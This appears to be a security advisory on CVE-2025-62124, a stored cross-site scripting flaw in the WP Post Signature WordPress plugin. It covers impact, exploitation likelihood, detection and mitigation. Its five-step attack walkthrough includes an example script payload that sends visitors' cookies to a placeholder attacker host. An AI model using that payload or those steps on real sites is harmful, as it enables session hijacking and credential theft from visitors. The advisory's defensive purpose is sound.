CVE-2025-62124: 
WordPress vulnerability analysis and mitigation

CVE-2025-62124 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Post Signature WordPress plugin by Soli, affecting all versions through 0.4.1. It allows authenticated users with high privileges (e.g., administrators) to inject malicious scripts into posts, which then execute in the browsers of site visitors. The vulnerability was published on December 31, 2025, and assigned by Patchstack. It carries a CVSS v3.1 base score of 5.9 (Medium) (Feedly, EUVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically the stored variant. An authenticated attacker with high privileges (such as an administrator) can inject malicious JavaScript into plugin-controlled fields within WordPress posts; this script is then persistently stored and rendered to any user who views the affected post. Exploitation requires network access, low attack complexity, and user interaction (a victim must visit the page containing the injected payload). The scope is changed, meaning the injected script can affect resources beyond the plugin's own security context (Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of site visitors who view affected posts, potentially leading to session hijacking, credential theft, defacement, or redirection to malicious sites. While the confidentiality, integrity, and availability impacts are each rated Low individually, the changed scope means the attack can affect users beyond the immediate plugin context. The risk is primarily to site visitors rather than the server itself, but in a multi-user WordPress environment, a compromised admin account could use this to target other administrators or editors (Feedly).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-62124. The EPSS score is approximately 0.031% (0.000310), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires high-privilege authenticated access (administrator level), which significantly limits the attacker pool (Feedly).

1. Gain Admin Access: Obtain administrator-level credentials to the target WordPress site (e.g., via credential stuffing, phishing, or reuse of leaked passwords).
2. Navigate to Plugin Settings: Log in to the WordPress admin dashboard and locate the WP Post Signature plugin (version ≤ 0.4.1) settings or a post/page editor where the plugin's signature fields are available.
3. Inject Malicious Payload: Enter a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a plugin-controlled input field associated with a post signature.
4. Save and Publish: Save or publish the post containing the injected payload, causing the malicious script to be stored in the WordPress database.
5. Victim Triggers Payload: When any site visitor (or another authenticated user) views the affected post, the injected script executes in their browser, enabling session cookie theft, credential harvesting, or further attacks.

• Logs: WordPress access logs showing POST requests to post/page edit endpoints (/wp-admin/post.php) containing script tags or encoded JavaScript in plugin-related fields; unusual admin activity at odd hours.
• Database: WordPress wp_posts or plugin-specific database tables containing entries with <script>, javascript:, or encoded XSS payloads in signature fields.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages with WP Post Signature content; traffic to attacker-controlled cookie-harvesting endpoints.
• File System: No direct file system artifacts expected for stored XSS, but review plugin files for unauthorized modifications to wp-post-signature plugin directory.

Users should update the WP Post Signature plugin to a version beyond 0.4.1 as soon as a patched release is available from the plugin author (Soli). In the interim, administrators should restrict plugin configuration access to trusted users only and consider disabling the plugin if it is not critical to site operations. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide an additional layer of defense. Monitor WordPress admin accounts for unauthorized access and enforce strong, unique passwords with multi-factor authentication (Feedly, Patchstack).